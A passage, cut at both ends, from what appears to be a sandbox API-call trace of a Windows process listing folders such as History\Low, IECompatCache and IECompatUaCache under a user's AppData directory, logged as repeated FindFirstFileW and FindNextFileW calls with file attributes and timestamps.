cAlternateFileName="")) returned 1 [0211.125] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xfc6fe9b2, ftCreationTime.dwHighDateTime=0x1d9eb0b, ftLastAccessTime.dwLowDateTime=0xfc6fe9b2, ftLastAccessTime.dwHighDateTime=0x1d9eb0b, ftLastWriteTime.dwLowDateTime=0xfc6fe9b2, ftLastWriteTime.dwHighDateTime=0x1d9eb0b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0211.125] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xfc6fe9b2, ftCreationTime.dwHighDateTime=0x1d9eb0b, ftLastAccessTime.dwLowDateTime=0xfc6fe9b2, ftLastAccessTime.dwHighDateTime=0x1d9eb0b, ftLastWriteTime.dwLowDateTime=0xfc6fe9b2, ftLastWriteTime.dwHighDateTime=0x1d9eb0b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 0 [0211.125] FindClose (in: hFindFile=0x1d4692e0 | out: hFindFile=0x1d4692e0) returned 1 [0211.125] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db880) returned 1 [0211.125] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db840) returned 1 [0211.125] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0211.125] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\History\\Low", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\History\\Low", lpFilePart=0x0) returned 0x41 [0211.126] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\history\\low\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4692e0 [0211.126] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.126] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0211.127] FindClose (in: hFindFile=0x1d4692e0 | out: hFindFile=0x1d4692e0) returned 1 [0211.127] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0211.127] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0211.127] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0211.127] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\History\\Low", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\History\\Low", lpFilePart=0x0) returned 0x41 [0211.127] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\history\\low\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4692e0 [0211.127] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.127] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0211.128] FindClose (in: hFindFile=0x1d4692e0 | out: hFindFile=0x1d4692e0) returned 1 [0211.128] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0211.128] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0211.128] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0211.128] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\IECompatCache", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\IECompatCache", lpFilePart=0x0) returned 0x43 [0211.128] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\IECompatCache\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\iecompatcache\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf6f209dc, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf6f209dc, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4692e0 [0211.128] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf6f209dc, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf6f209dc, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.129] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf6f209dc, ftCreationTime.dwHighDateTime=0x1d9b561, ftLastAccessTime.dwLowDateTime=0xf6f209dc, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf6f209dc, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0211.129] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0211.129] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 0 [0211.129] FindClose (in: hFindFile=0x1d4692e0 | out: hFindFile=0x1d4692e0) returned 1 [0211.129] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0211.129] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0211.129] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0211.129] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\IECompatCache", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\IECompatCache", lpFilePart=0x0) returned 0x43 [0211.130] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\IECompatCache\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\iecompatcache\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf6f209dc, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf6f209dc, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4692e0 [0211.130] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf6f209dc, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf6f209dc, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.130] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf6f209dc, ftCreationTime.dwHighDateTime=0x1d9b561, ftLastAccessTime.dwLowDateTime=0xf6f209dc, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf6f209dc, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0211.130] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0211.130] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0211.131] FindClose (in: hFindFile=0x1d4692e0 | out: hFindFile=0x1d4692e0) returned 1 [0211.131] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0211.131] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0211.131] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0211.131] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\IECompatCache\\Low", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\IECompatCache\\Low", lpFilePart=0x0) returned 0x47 [0211.131] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\IECompatCache\\Low\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\iecompatcache\\low\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469a00 [0211.131] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.132] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0211.132] FindClose (in: hFindFile=0x1d469a00 | out: hFindFile=0x1d469a00) returned 1 [0211.132] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0211.132] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0211.132] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0211.132] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\IECompatCache\\Low", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\IECompatCache\\Low", lpFilePart=0x0) returned 0x47 [0211.132] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\IECompatCache\\Low\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\iecompatcache\\low\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469a00 [0211.132] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.133] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0211.133] FindClose (in: hFindFile=0x1d469a00 | out: hFindFile=0x1d469a00) returned 1 [0211.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0211.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0211.133] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0211.133] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\IECompatUaCache", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\IECompatUaCache", lpFilePart=0x0) returned 0x45 [0211.133] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\IECompatUaCache\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\iecompatuacache\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf6f46a57, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf6f46a57, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469dc0 [0211.134] FindNextFileW (in: hFindFile=0x1d469dc0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf6f46a57, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf6f46a57, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.134] FindNextFileW (in: hFindFile=0x1d469dc0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf6f46a57, ftCreationTime.dwHighDateTime=0x1d9b561, ftLastAccessTime.dwLowDateTime=0xf6f46a57, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf6f46a57, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0211.134] FindNextFileW (in: hFindFile=0x1d469dc0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0211.134] FindNextFileW (in: hFindFile=0x1d469dc0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 0 [0211.134] FindClose (in: hFindFile=0x1d469dc0 | out: hFindFile=0x1d469dc0) returned 1 [0211.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0211.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0211.134] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0211.135] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\IECompatUaCache", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\IECompatUaCache", lpFilePart=0x0) returned 0x45 [0211.135] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\IECompatUaCache\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\iecompatuacache\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf6f46a57, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf6f46a57, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4692e0 [0211.135] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf6f46a57, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf6f46a57, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.135] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf6f46a57, ftCreationTime.dwHighDateTime=0x1d9b561, ftLastAccessTime.dwLowDateTime=0xf6f46a57, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf6f46a57, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0211.135] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0211.136] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0211.136] FindClose (in: hFindFile=0x1d4692e0 | out: hFindFile=0x1d4692e0) returned 1 [0211.136] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0211.136] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0211.136] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) 